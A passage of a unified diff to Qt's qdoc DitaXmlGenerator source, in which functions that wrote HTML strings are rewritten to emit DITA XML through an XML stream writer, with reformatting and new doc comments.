+                                               Doc::SectioningUnit sectioningUnit,
+                                               int numColumns,
+                                               const Node* relative)
 
 {
     return;
@@ -2100,12 +2371,13 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node,
 }
 
 /*!
+  zzz
   Revised for the new doc format.
   Generates a table of contents beginning at \a node.
  */
-void DitaXmlGenerator::generateTableOfContents(const Node *node,
-                                            CodeMarker *marker,
-                                            QList<Section>* sections)
+void DitaXmlGenerator::generateTableOfContents(const Node* node,
+                                               CodeMarker* marker,
+                                               QList<Section>* sections)
 {
     QList<Atom*> toc;
     if (node->doc().hasTableOfContents()) 
@@ -2214,109 +2486,55 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node,
     inLink = false;
 }
 
-QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner,
-                                                   CodeMarker *marker)
+void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner,
+                                                CodeMarker* marker,
+                                                CodeMarker::Status status)
 {
-    QList<Section> sections;
-    QList<Section>::ConstIterator s;
-
-    sections = marker->sections(inner,
-                                CodeMarker::SeparateList,
-                                CodeMarker::Okay);
-    if (sections.isEmpty())
-        return QString();
-
-    QString fileName = fileBase(inner) + "-members." + fileExtension(inner);
-    beginSubPage(inner->location(), fileName);
-    QString title = "List of All Members for " + inner->name();
-    generateHeader(inner);
-    generateTitle(title, Text(), SmallSubTitle, inner, marker);
-    out() << "<p>This is the complete list of members for ";
-    generateFullName(inner, 0, marker);
-    out() << ", including inherited members.</p>\n";
-
-    Section section = sections.first();
-    generateSectionList(section, 0, marker, CodeMarker::SeparateList);
-
-    endSubPage();
-    return fileName;
-}
+    QString attribute;
+    if (status == CodeMarker::Compat)
+        attribute = "Qt3-support";
+    else if (status == CodeMarker::Obsolete)
+        attribute = "obsolete";
+    else
+        return;
 
-QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner,
-                                                   CodeMarker *marker,
-                                                   CodeMarker::Status status)
-{
-    QList<Section> sections = marker->sections(inner,
-                                               CodeMarker::Summary,
-                                               status);
+    QList<Section> sections = marker->sections(inner, CodeMarker::Detailed, status);
     QMutableListIterator<Section> j(sections);
     while (j.hasNext()) {
         if (j.next().members.size() == 0)
             j.remove();
     }
     if (sections.isEmpty())
-        return QString();
-
-    int i;
-
-    QString title;
-    QString fileName;
-
-    if (status == CodeMarker::Compat) {
-        title = "Qt 3 Support Members for " + inner->name();
-        fileName = fileBase(inner) + "-qt3." + fileExtension(inner);
-    }
-    else {
-        title = "Obsolete Members for " + inner->name();
-        fileName = fileBase(inner) + "-obsolete." + fileExtension(inner);
-    }
-
-    beginSubPage(inner->location(), fileName);
-    generateHeader(inner);
-    generateTitle(title, Text(), SmallSubTitle, inner, marker);
-
-    if (status == CodeMarker::Compat) {
-        out() << "<p><b>The following class members are part of the "
-                 "<xref href=\"qt3support.html\">Qt 3 support layer</xref>.</b> "
-                 "They are provided to help you port old code to Qt 4. We advise against "
-                 "using them in new code.</p>\n";
-    }
-    else {
-        out() << "<p><b>The following class members are obsolete.</b> "
-              << "They are provided to keep old source code working. "
-              << "We strongly advise against using them in new code.</p>\n";
-    }
-
-    out() << "<p><ul><li><xref href=\""
-          << linkForNode(inner, 0) << "\">"
-          << protectEnc(inner->name())
-          << " class reference</xref></li></ul></p>\n";
-
-    for (i = 0; i < sections.size(); ++i) {
-        out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n";
-        generateSectionList(sections.at(i), inner, marker, CodeMarker::Summary);
-    }
-
-    sections = marker->sections(inner, CodeMarker::Detailed, status);
-    for (i = 0; i < sections.size(); ++i) {
-        out() << "<hr />\n";
-        out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n";
+        return;
 
-        NodeList::ConstIterator m = sections.at(i).members.begin();
-        while (m != sections.at(i).members.end()) {
-            if ((*m)->access() != Node::Private)
-                generateDetailedMember(*m, inner, marker);
-            ++m;
+    QList<Section>::ConstIterator s = sections.begin();
+    while (s != sections.end()) {
+        if ((*s).name == "Member Function Documentation") {
+            writeFunctions((*s),inner,marker,attribute);
+        }
+        else if ((*s).name == "Member Type Documentation") {
+            writeEnumerations((*s),marker,attribute);
+            writeTypedefs((*s),marker,attribute);
+        }
+        else if ((*s).name == "Member Variable Documentation") {
+            writeDataMembers((*s),marker,attribute);
         }
+        else if ((*s).name == "Property Documentation") {
+            writeProperties((*s),marker,attribute);
+        }
+        else if ((*s).name == "Macro Documentation") {
+            writeMacros((*s),marker,attribute);
+        }
+        ++s;
     }
-
-    endSubPage();
-    return fileName;
 }
 
-void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
-                                           CodeMarker *marker,
-                                           const QMap<QString,const Node*> &classMap)
+/*!
+  Write the XML for the class hierarchy to the current XML stream.
+ */
+void DitaXmlGenerator::generateClassHierarchy(const Node* relative,
+                                              CodeMarker* marker,
+                                              const QMap<QString,const Node*>& classMap)
 {
     if (classMap.isEmpty())
         return;
@@ -2324,7 +2542,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
     NodeMap topLevel;
     NodeMap::ConstIterator c = classMap.begin();
     while (c != classMap.end()) {
-        const ClassNode *classe = static_cast<const ClassNode *>(*c);
+        const ClassNode* classe = static_cast<const ClassNode*>(*c);
         if (classe->baseClasses().isEmpty())
             topLevel.insert(classe->name(), classe);
         ++c;
@@ -2333,70 +2551,87 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
     QStack<NodeMap > stack;
     stack.push(topLevel);
 
-    out() << "<ul>\n";
+    xmlWriter().writeStartElement("ul");
     while (!stack.isEmpty()) {
         if (stack.top().isEmpty()) {
             stack.pop();
-            out() << "</ul>\n";
+            xmlWriter().writeEndElement(); // </ul>
+            if (!stack.isEmpty())
+                xmlWriter().writeEndElement(); // </li>
         }
         else {
             const ClassNode *child =
                 static_cast<const ClassNode *>(*stack.top().begin());
-            out() << "<li>";
+            xmlWriter().writeStartElement("li");
             generateFullName(child, relative, marker);
-            out() << "</li>\n";
+            xmlWriter().writeEndElement(); // </li>
             stack.top().erase(stack.top().begin());
 
             NodeMap newTop;
             foreach (const RelatedClass &d, child->derivedClasses()) {
-                if (d.access != Node::Private)
+                if (d.access != Node::Private && !d.node->doc().isEmpty())
                     newTop.insert(d.node->name(), d.node);
             }
             if (!newTop.isEmpty()) {
                 stack.push(newTop);
-                out() << "<ul>\n";
+                xmlWriter().writeStartElement("li");
+                xmlWriter().writeStartElement("ul");
             }
         }
     }
 }
 
-void DitaXmlGenerator::generateAnnotatedList(const Node *relative,
-                                          CodeMarker *marker,
-                                          const NodeMap &nodeMap)
+/*!
+  Write XML for the contents of the \a nodeMap to the current
+  XML stream. 
+ */
+void DitaXmlGenerator::generateAnnotatedList(const Node* relative,
+                                             CodeMarker* marker,
+                                             const NodeMap& nodeMap)
 {
-    out() << "<table class=\"annotated\">\n";
+    if (nodeMap.isEmpty())
+        return;
+    xmlWriter().writeStartElement("table");
+    xmlWriter().writeAttribute("outputclass","annotated");
+    xmlWriter().writeStartElement("tgroup");
+    xmlWriter().writeAttribute("cols","2");
+    xmlWriter().writeStartElement("tbody");
 
-    int row = 0;
-    foreach (const QString &name, nodeMap.keys()) {
-        const Node *node = nodeMap[name];
+    foreach (const QString& name, nodeMap.keys()) {
+        const Node* node = nodeMap[name];
 
         if (node->status() == Node::Obsolete)
             continue;
 
-        if (++row % 2 == 1)
-            out() << "<tr class=\"odd topAlign\">";
-        else
-            out() << "<tr class=\"even topAlign\">";
-        out() << "<td><p>";
+        xmlWriter().writeStartElement("row");
+        xmlWriter().writeStartElement("entry");
+        xmlWriter().writeStartElement("p");
         generateFullName(node, relative, marker);
-        out() << "</p></td>";
+        xmlWriter().writeEndElement(); // </p>
+        xmlWriter().writeEndElement(); // <entry>
 
         if (!(node->type() == Node::Fake)) {
             Text brief = node->doc().trimmedBriefText(name);
             if (!brief.isEmpty()) {
-                out() << "<td><p>";
+                xmlWriter().writeStartElement("entry");
+                xmlWriter().writeStartElement("p");
                 generateText(brief, node, marker);
-                out() << "</p></td>";
+                xmlWriter().writeEndElement(); // </p>
+                xmlWriter().writeEndElement(); // <entry>
             }
         }
         else {
-            out() << "<td><p>";
-            out() << protectEnc(node->doc().briefText().toString());
-            out() << "</p></td>";
+            xmlWriter().writeStartElement("entry");
+            xmlWriter().writeStartElement("p");
+            writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz
+            xmlWriter().writeEndElement(); // </p>
+            xmlWriter().writeEndElement(); // <entry>
         }
-        out() << "</tr>\n";
+        xmlWriter().writeEndElement(); // </row>
     }
-    out() << "</table>\n";
+    xmlWriter().writeEndElement(); // </tbody>
+    xmlWriter().writeEndElement(); // </tgroup>
+    xmlWriter().writeEndElement(); // </table>
 }
 
 /*!
@@ -2408,11 +2643,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node *relative,
   normally you let it figure it out itself by looking at
   the name of the first and last classes in \a classMap.
  */
-void DitaXmlGenerator::generateCompactList(const Node *relative,
-                                        CodeMarker *marker,
-                                        const NodeMap &classMap,
-                                        bool includeAlphabet,
-                                        QString commonPrefix)
+void DitaXmlGenerator::generateCompactList(const Node* relative,
+                                           CodeMarker* marker,
+                                           const NodeMap& classMap,
+                                           bool includeAlphabet,
+                                           QString commonPrefix)
 {
     const int NumParagraphs = 37; // '0' to '9', 'A' to 'Z', '_'
 
@@ -2527,24 +2762,33 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
 
     int curParNr = 0;
     int curParOffset = 0;
+    QMap<QChar,QString> cmap;
 
     /*
       Output the alphabet as a row of links.
      */
     if (includeAlphabet) {
-        out() << "<p  class=\"centerAlign functionIndex\"><b>";
+        xmlWriter().writeStartElement("p");
+        xmlWriter().writeAttribute("outputclass","alphabet");
         for (int i = 0; i < 26; i++) {
             QChar ch('a' + i);
-            if (usedParagraphNames.contains(char('a' + i)))
-                out() << QString("<xref href=\"#%1\">%2</xref>&nbsp;").arg(ch).arg(ch.toUpper());
+            if (usedParagraphNames.contains(char('a' + i))) {
+                xmlWriter().writeStartElement("xref");
+                QString guid = lookupGuid(outFileName(),QString(ch));
+                QString attr = outFileName() + QString("#%1").arg(guid);
+                xmlWriter().writeAttribute("href", attr);
+                xmlWriter().writeCharacters(QString(ch.toUpper()));
+                xmlWriter().writeEndElement(); // </xref>
+            }
         }
-        out() << "</b></p>\n";
+        xmlWriter().writeEndElement(); // </p>
     }
 
     /*
-      Output a <div> element to contain all the <dl> elements.
+      Output a <p> element to contain all the <dl> elements.
      */
-    out() << "<div class=\"flowListDiv\">\n";
+    xmlWriter().writeStartElement("p");
+    xmlWriter().writeAttribute("outputclass","compactlist");
 
     for (int i=0; i<classMap.count()-1; i++) {
         while ((curParNr < NumParagraphs) &&
@@ -2557,27 +2801,26 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
           Starting a new paragraph means starting a new <dl>.
         */
         if (curParOffset == 0) {
-            if (i > 0)
-                out() << "</dl>\n";
-            if (++numTableRows % 2 == 1)
-                out() << "<dl class=\"flowList odd\">";
-            else
-                out() << "<dl class=\"flowList even\">";
-            out() << "<dt class=\"alphaChar\">";
+            if (i > 0) {
+                xmlWriter().writeEndElement(); // </dlentry>
+                xmlWriter().writeEndElement(); // </dl>
+            }
+            xmlWriter().writeStartElement("dl");
+            xmlWriter().writeStartElement("dlentry");
+            xmlWriter().writeStartElement("dt");
             if (includeAlphabet) {
                 QChar c = paragraphName[curParNr][0].toLower();
-                out() << QString("<a name=\"%1\"></a>").arg(c);
+                writeGuidAttribute(QString(c));
             }
-            out() << "<b>"
-                  << paragraphName[curParNr]
-                  << "</b>";
-            out() << "</dt>\n";
+            xmlWriter().writeAttribute("outputclass","sublist-header");
+            xmlWriter().writeCharacters(paragraphName[curParNr]);
+            xmlWriter().writeEndElement(); // </dt>
         }
 
         /*
           Output a <dd> for the current offset in the current paragraph.
          */
-        out() << "<dd>";
+        xmlWriter().writeStartElement("dd");
         if ((curParNr < NumParagraphs) &&
             !paragraphName[curParNr].isEmpty()) {
             NodeMap::Iterator it;
@@ -2589,148 +2832,115 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
               Previously, we used generateFullName() for this, but we
               require some special formatting.
             */
-            out() << "<xref href=\"" << linkForNode(it.value(), relative) << "\">";
+            xmlWriter().writeStartElement("xref");
+            xmlWriter().writeAttribute("href",linkForNode(it.value(), relative));
             
             QStringList pieces;
             if (it.value()->subType() == Node::QmlClass)
                 pieces << it.value()->name();
             else
                 pieces = fullName(it.value(), relative, marker).split("::");
-            out() << protectEnc(pieces.last());
-            out() << "</xref>";
+            xmlWriter().writeCharacters(protectEnc(pieces.last()));
+            xmlWriter().writeEndElement(); // </xref>
             if (pieces.size() > 1) {
-                out() << " (";
-                generateFullName(it.value()->parent(), relative, marker);
-                out() << ")";
+                xmlWriter().writeCharacters(" (");
+                generateFullName(it.value()->parent(),relative,marker);
+                xmlWriter().writeCharacters(")");
             }
         }
-        out() << "</dd>\n";
+        xmlWriter().writeEndElement(); // </dd>
         curParOffset++;
     }
-    out() << "</dl>\n";
-    out() << "</div>\n";
+    xmlWriter().writeEndElement(); // </dlentry>
+    xmlWriter().writeEndElement(); // </dl>
+    xmlWriter().writeEndElement(); // </p>
 }
 
-void DitaXmlGenerator::generateFunctionIndex(const Node *relative,
-                                          CodeMarker *marker)
+/*!
+  Write XML for a function index to the current XML stream.
+ */
+void DitaXmlGenerator::generateFunctionIndex(const Node* relative,
+                                             CodeMarker* marker)
 {
-    out() << "<p  class=\"centerAlign functionIndex\"><b>";
+    xmlWriter().writeStartElement("p");
+    xmlWriter().writeAttribute("outputclass","alphabet");
     for (int i = 0; i < 26; i++) {
         QChar ch('a' + i);
-        out() << QString("<xref href=\"#%1\">%2</xref>&nbsp;").arg(ch).arg(ch.toUpper());
+        xmlWriter().writeStartElement("xref");
+        QString guid = lookupGuid(outFileName(),QString(ch));
+        QString attr = outFileName() + QString("#%1").arg(guid);
+        xmlWriter().writeAttribute("href", attr);
+        xmlWriter().writeCharacters(QString(ch.toUpper()));
+        xmlWriter().writeEndElement(); // </xref>
+        
     }
-    out() << "</b></p>\n";
+    xmlWriter().writeEndElement(); // </p>
 
     char nextLetter = 'a';
     char currentLetter;
 
-#if 1
-    out() << "<ul>\n";
-#endif
+    xmlWriter().writeStartElement("ul");
     QMap<QString, NodeMap >::ConstIterator f = funcIndex.begin();
     while (f != funcIndex.end()) {
-#if 1
-        out() << "<li>";
-#else
-        out() << "<p>";
-#endif
-        out() << protectEnc(f.key()) << ":";
-
+        xmlWriter().writeStartElement("li");
         currentLetter = f.key()[0].unicode();
         while (islower(currentLetter) && currentLetter >= nextLetter) {
-            out() << QString("<a name=\"%1\"></a>").arg(nextLetter);
+            xmlWriter().writeStartElement("p");
+            writeGuidAttribute(QString(nextLetter));
+            xmlWriter().writeAttribute("outputclass","target");
+            xmlWriter().writeCharacters(QString(nextLetter));
+            xmlWriter().writeEndElement(); // </p>
             nextLetter++;
         }
+        xmlWriter().writeCharacters(protectEnc(f.key()));
+        xmlWriter().writeCharacters(":");
 
         NodeMap::ConstIterator s = (*f).begin();
         while (s != (*f).end()) {
-            out() << " ";
             generateFullName((*s)->parent(), relative, marker, *s);
             ++s;
         }
-#if 1
-        out() << "</li>";
-#else
-        out() << "</p>";
-#endif
-        out() << "\n";
+        xmlWriter().writeEndElement(); // </li>
         ++f;
     }
-#if 1
-    out() << "</ul>\n";
-#endif
+    xmlWriter().writeEndElement(); // </ul>
 }
 
-void DitaXmlGenerator::generateLegaleseList(const Node *relative,
-                                         CodeMarker *marker)
+/*!
+  Write the legalese texts as XML to the current XML stream.
+ */
+void DitaXmlGenerator::generateLegaleseList(const Node* relative,
+                                            CodeMarker* marker)
 {
-    QMap<Text, const Node *>::ConstIterator it = legaleseTexts.begin();
+    QMap<Text, const Node*>::ConstIterator it = legaleseTexts.begin();
     while (it != legaleseTexts.end()) {
         Text text = it.key();
-        out() << "<hr />\n";
         generateText(text, relative, marker);
-        out() << "<ul>\n";
+        xmlWriter().writeStartElement("ul");
         do {
-            out() << "<li>";
+            xmlWriter().writeStartElement("li");
             generateFullName(it.value(), relative, marker);
-            out() << "</li>\n";
+            xmlWriter().writeEndElement(); // </li>
             ++it;
         } while (it != legaleseTexts.end() && it.key() == text);
-        out() << "</ul>\n";
+        xmlWriter().writeEndElement(); //</ul>
     }
 }
 
-/*void DitaXmlGenerator::generateSynopsis(const Node *node,
-                                     const Node *relative,
-                                     CodeMarker *marker,
-                                     CodeMarker::SynopsisStyle style)
-{
-    QString marked = marker->markedUpSynopsis(node, relative, style);
-    QRegExp templateTag("(<[^@>]*>)");
-    if (marked.indexOf(templateTag) != -1) {
-        QString contents = protectEnc(marked.mid(templateTag.pos(1),
-                                              templateTag.cap(1).length()));
-        marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
-                        contents);
-    }
-    marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
-                   "<i>\\1<sub>\\2</sub></i>");
-    marked.replace("<@param>", "<i>");
-    marked.replace("</@param>", "</i>");
-
-    if (style == CodeMarker::Summary)
-        marked.replace("@name>", "b>");
-
-    if (style == CodeMarker::SeparateList) {
-        QRegExp extraRegExp("<@extra>.*</@extra>");
-        extraRegExp.setMinimal(true);
-        marked.replace(extraRegExp, "");
-    }
-    else {
-        marked.replace("<@extra>", "&nbsp;&nbsp;<tt>");
-        marked.replace("</@extra>", "</tt>");
-    }
-
-    if (style != CodeMarker::Detailed) {
-        marked.replace("<@type>", "");
-        marked.replace("</@type>", "");
-    }
-    out() << highlightedCode(marked, marker, relative);
-}*/
-
-#ifdef QDOC_QML
-void DitaXmlGenerator::generateQmlItem(const Node *node,
-                                    const Node *relative,
-                                    CodeMarker *marker,
-                                    bool summary)
+/*!
+  Generate the text for the QML item described by \a node
+  and write it to the current XML stream.
+ */
+void DitaXmlGenerator::generateQmlItem(const Node* node,
+                                       const Node* relative,
+                                       CodeMarker* marker,
+                                       bool summary)
 { 
     QString marked = marker->markedUpQmlItem(node,summary);
-    QRegExp templateTag("(<[^@>]*>)");
-    if (marked.indexOf(templateTag) != -1) {
-        QString contents = protectEnc(marked.mid(templateTag.pos(1),
-                                              templateTag.cap(1).length()));
-        marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
-                        contents);
+    QRegExp tag("(<[^@>]*>)");
+    if (marked.indexOf(tag) != -1) {
+        QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length()));
+        marked.replace(tag.pos(1), tag.cap(1).length(), tmp);
     }
     marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
                    "<i>\\1<sub>\\2</sub></i>");
@@ -2747,21 +2957,23 @@ void DitaXmlGenerator::generateQmlItem(const Node *node,
         marked.replace("<@type>", "");
         marked.replace("</@type>", "");
     }
-    out() << highlightedCode(marked, marker, relative);
+    writeText(marked, marker, relative);
 }
-#endif
 
-void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */)
+/*!
+  Writher the XML for the overview list to the current XML stream.
+ */
+void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */)
 {
-    QMap<const FakeNode *, QMap<QString, FakeNode *> > fakeNodeMap;
-    QMap<QString, const FakeNode *> groupTitlesMap;
-    QMap<QString, FakeNode *> uncategorizedNodeMap;
+    QMap<const FakeNode*, QMap<QString, FakeNode*> > fakeNodeMap;
+    QMap<QString, const FakeNode*> groupTitlesMap;
+    QMap<QString, FakeNode*> uncategorizedNodeMap;
     QRegExp singleDigit("\\b([0-9])\\b");
 
     const NodeList children = myTree->root()->childNodes();
-    foreach (Node *child, children) {
+    foreach (Node* child, children) {
         if (child->type() == Node::Fake && child != relative) {
-            FakeNode *fakeNode = static_cast<FakeNode *>(child);
+            FakeNode* fakeNode = static_cast<FakeNode*>(child);
 
             // Check whether the page is part of a group or is the group
             // definition page.
@@ -2793,24 +3005,25 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /
                 if (isGroupPage) {
                     // If we encounter a group definition page, we add all
                     // the pages in that group to the list for that group.
-                    foreach (Node *member, fakeNode->groupMembers()) {
+                    foreach (Node* member, fakeNode->groupMembers()) {
                         if (member->type() != Node::Fake)
                             continue;
-                        FakeNode *page = static_cast<FakeNode *>(member);
+                        FakeNode* page = static_cast<FakeNode*>(member);
                         if (page) {
                             QString sortKey = page->fullTitle().toLower();
                             if (sortKey.startsWith("the "))
                                 sortKey.remove(0, 4);
                             sortKey.replace(singleDigit, "0\\1");
-                            fakeNodeMap[const_cast<const FakeNode *>(fakeNode)].insert(sortKey, page);
-                            groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode *>(fakeNode);
+                            fakeNodeMap[const_cast<const FakeNode*>(fakeNode)].insert(sortKey, page);
+                            groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode*>(fakeNode);
                         }
                     }
                 }
                 else if (!isGroupPage) {
                     // If we encounter a page that belongs to a group then
                     // we add that page to the list for that group.
-                    const FakeNode *groupNode = static_cast<const FakeNode *>(myTree->root()->findNode(group, Node::Fake));
+                    const FakeNode* groupNode =
+                        static_cast<const FakeNode*>(myTree->root()->findNode(group, Node::Fake));
                     if (groupNode)
                         fakeNodeMap[groupNode].insert(sortKey, fakeNode);
                     //else
@@ -2829,241 +3042,172 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /
     // pages in that group are listed for completeness.
 
     if (!fakeNodeMap.isEmpty()) {
-        foreach (const QString &groupTitle, groupTitlesMap.keys()) {
-            const FakeNode *groupNode = groupTitlesMap[groupTitle];
-            out() << QString("<h3><xref href=\"%1\">%2</xref></h3>\n").arg(
-                        linkForNode(groupNode, relative)).arg(
-                        protectEnc(groupNode->fullTitle()));
-
+        foreach (const QString& groupTitle, groupTitlesMap.keys()) {
+            const FakeNode* groupNode = groupTitlesMap[groupTitle];
+            xmlWriter().writeStartElement("p");
+            xmlWriter().writeAttribute("outputclass","h3");
+            xmlWriter().writeStartElement("xref");
+            xmlWriter().writeAttribute("href",linkForNode(groupNode, relative));
+            writeCharacters(protectEnc(groupNode->fullTitle()));
+            xmlWriter().writeEndElement(); // </xref>
+            xmlWriter().writeEndElement(); // </p>
             if (fakeNodeMap[groupNode].count() == 0)
                 continue;
 
-            out() << "<ul>\n";
-
-            foreach (const FakeNode *fakeNode, fakeNodeMap[groupNode]) {
+            xmlWriter().writeStartElement("ul");
+            foreach (const FakeNode* fakeNode, fakeNodeMap[groupNode]) {
                 QString title = fakeNode->fullTitle();
                 if (title.startsWith("The "))
                     title.remove(0, 4);
-                out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">"
-                      << protectEnc(title) << "</xref></li>\n";
+                xmlWriter().writeStartElement("li");
+                xmlWriter().writeStartElement("xref");
+                xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative));
+                writeCharacters(protectEnc(title));
+                xmlWriter().writeEndElement(); // </xref>
+                xmlWriter().writeEndElement(); // </li>
             }
-            out() << "</ul>\n";
+            xmlWriter().writeEndElement(); // </ul>
         }
     }
 
     if (!uncategorizedNodeMap.isEmpty()) {
-        out() << QString("<h3>Miscellaneous</h3>\n");
-        out() << "<ul>\n";
+        xmlWriter().writeStartElement("p");
+        xmlWriter().writeAttribute("outputclass","h3");
+        xmlWriter().writeCharacters("Miscellaneous");
+        xmlWriter().writeEndElement(); // </p>
+        xmlWriter().writeStartElement("ul");
         foreach (const FakeNode *fakeNode, uncategorizedNodeMap) {
             QString title = fakeNode->fullTitle();
             if (title.startsWith("The "))
                 title.remove(0, 4);
-            out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">"
-                  << protectEnc(title) << "</xref></li>\n";
+            xmlWriter().writeStartElement("li");
+            xmlWriter().writeStartElement("xref");
+            xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative));
+            writeCharacters(protectEnc(title));
+            xmlWriter().writeEndElement(); // </xref>
+            xmlWriter().writeEndElement(); // </li>
         }
-        out() << "</ul>\n";
+        xmlWriter().writeEndElement(); // </ul>
     }
 }
 
+/*!
+  Write the XML for a standard section of a page, e.g.
+  "Public Functions" or "Protected Slots." The section
+  is written too the current XML stream as a table.
+ */
 void DitaXmlGenerator::generateSection(const NodeList& nl,
-                                    const Node *relative,
-                                    CodeMarker *marker,
-                                    CodeMarker::SynopsisStyle style)
+                                       const Node* relative,
+                                       CodeMarker* marker,
+                                       CodeMarker::SynopsisStyle style)
 {
-    bool name_alignment = true;
     if (!nl.isEmpty()) {
-        bool twoColumn = false;
-        if (style == CodeMarker::SeparateList) {
-            name_alignment = false;
-            twoColumn = (nl.count() >= 16);
-        }
-        else if (nl.first()->type() == Node::Property) {
-            twoColumn = (nl.count() >= 5);
-            name_alignment = false;
-        }
-        if (name_alignment) {
-            out() << "<table class=\"alignedsummary\">\n";
-        }
-        else {
-            if (twoColumn)
-                out() << "<table class=\"propsummary\">\n"
-                      << "<tr><td  class=\"topAlign\">";
-            out() << "<ul>\n";
-        }
-
-        int i = 0;
+        xmlWriter().writeStartElement("ul");
         NodeList::ConstIterator m = nl.begin();
         while (m != nl.end()) {
-            if ((*m)->access() == Node::Private) {
-                ++m;
-                continue;
+            if ((*m)->access() != Node::Private) {
+                xmlWriter().writeStartElement("li");
+                QString marked = getMarkedUpSynopsis(*m, relative, marker, style);
+                writeText(marked, marker, relative);
+                xmlWriter().writeEndElement(); // </li>
             }
-
-            if (name_alignment) {
-                out() << "<tr><td class=\"memItemLeft rightAlign topAlign\"> ";
-            }
-            else {
-                if (twoColumn && i == (int) (nl.count() + 1) / 2)
-                    out() << "</ul></td><td  class=\"topAlign\"><ul>\n";
-                out() << "<li class=\"fn\">";
-            }
-
-            generateSynopsis(*m, relative, marker, style, name_alignment);
-            if (name_alignment)
-                out() << "</td></tr>\n";
-            else
-                out() << "</li>\n";
-            i++;
             ++m;
         }
-        if (name_alignment)
-            out() << "</table>\n";
-        else {
-            out() << "</ul>\n";
-            if (twoColumn)
-                out() << "</td></tr>\n</table>\n";
-        }
-    }
-}
-
-void DitaXmlGenerator::generateSectionList(const Section& section,
-                                        const Node *relative,
-                                        CodeMarker *marker,
-                                        CodeMarker::SynopsisStyle style)
-{
-    bool name_alignment = true;
-    if (!section.members.isEmpty()) {
-        bool twoColumn = false;
-        if (style == CodeMarker::SeparateList) {
-            name_alignment = false;
-            twoColumn = (section.members.count() >= 16);
-        }
-        else if (section.members.first()->type() == Node::Property) {
-            twoColumn = (section.members.count() >= 5);
-            name_alignment = false;
-        }
-        if (name_alignment) {
-            out() << "<table class=\"alignedsummary\">\n";
-        }
-        else {
-            if (twoColumn)
-                out() << "<table class=\"propsummary\">\n"
-                      << "<tr><td  class=\"topAlign\">";
-            out() << "<ul>\n";
-        }
-
-        int i = 0;
-        NodeList::ConstIterator m = section.members.begin();
-        while (m != section.members.end()) {
-            if ((*m)->access() == Node::Private) {
-                ++m;
-                continue;
-            }
-
-            if (name_alignment) {
-                out() << "<tr><td class=\"memItemLeft topAlign rightAlign\"> ";
-            }
-            else {
-                if (twoColumn && i == (int) (section.members.count() + 1) / 2)
-                    out() << "</ul></td><td class=\"topAlign\"><ul>\n";
-                out() << "<li class=\"fn\">";
-            }
-
-            generateSynopsis(*m, relative, marker, style, name_alignment);
-            if (name_alignment)
-                out() << "</td></tr>\n";
-            else
-                out() << "</li>\n";
-            i++;
-            ++m;
-        }
-        if (name_alignment)
-            out() << "</table>\n";
-        else {
-            out() << "</ul>\n";
-            if (twoColumn)
-                out() << "</td></tr>\n</table>\n";
-        }
-    }
-
-    if (style == CodeMarker::Summary && !section.inherited.isEmpty()) {
-        out() << "<ul>\n";
-        generateSectionInheritedList(section, relative, marker, name_alignment);
-        out() << "</ul>\n";
+        xmlWriter().writeEndElement(); // </ul>
     }
 }
 
+/*!
+  Writes the "inherited from" list to the current XML stream.
+ */
 void DitaXmlGenerator::generateSectionInheritedList(const Section& section,
-                                                 const Node *relative,
-                                                 CodeMarker *marker,
-                                                 bool nameAlignment)
+                                                    const Node* relative,
+                                                    CodeMarker* marker)
 {
-    QList<QPair<ClassNode *, int> >::ConstIterator p = section.inherited.begin();
+    if (section.inherited.isEmpty())
+        return;
+    xmlWriter().writeStartElement("ul");
+    QList<QPair<ClassNode*,int> >::ConstIterator p = section.inherited.begin();
     while (p != section.inherited.end()) {
-        if (nameAlignment)
-            out() << "<li class=\"fn\">";
+        xmlWriter().writeStartElement("li");
+        QString text;
+        text.setNum((*p).second);
+        text += " ";
+        if ((*p).second == 1)
+            text += section.singularMember;
         else
-            out() << "<li class=\"fn\">";
-        out() << (*p).second << " ";
-        if ((*p).second == 1) {
-            out() << section.singularMember;
-        }
-        else {
-            out() << section.pluralMember;
-        }
-        out() << " inherited from <xref href=\"" << fileName((*p).first)
-              << "#" << DitaXmlGenerator::cleanRef(section.name.toLower()) << "\">"
-              << protectEnc(marker->plainFullName((*p).first, relative))
-              << "</xref></li>\n";
+            text += section.pluralMember;
+        text += " inherited from ";
+        writeCharacters(text);
+        xmlWriter().writeStartElement("xref");
+        // zzz
+        text = fileName((*p).first) + "#";
+        text += DitaXmlGenerator::cleanRef(section.name.toLower());
+        xmlWriter().writeAttribute("href",text);
+        text = protectEnc(marker->plainFullName((*p).first, relative));
+        writeCharacters(text);
+        xmlWriter().writeEndElement(); // </xref>
+        xmlWriter().writeEndElement(); // </li>
         ++p;
     }
+    xmlWriter().writeEndElement(); // </ul>
 }
 
-void DitaXmlGenerator::generateSynopsis(const Node *node,
-                                     const Node *relative,
-                                     CodeMarker *marker,
-                                     CodeMarker::SynopsisStyle style,
-                                     bool nameAlignment)
+/*!
+  Get the synopsis from the \a node using the \a relative
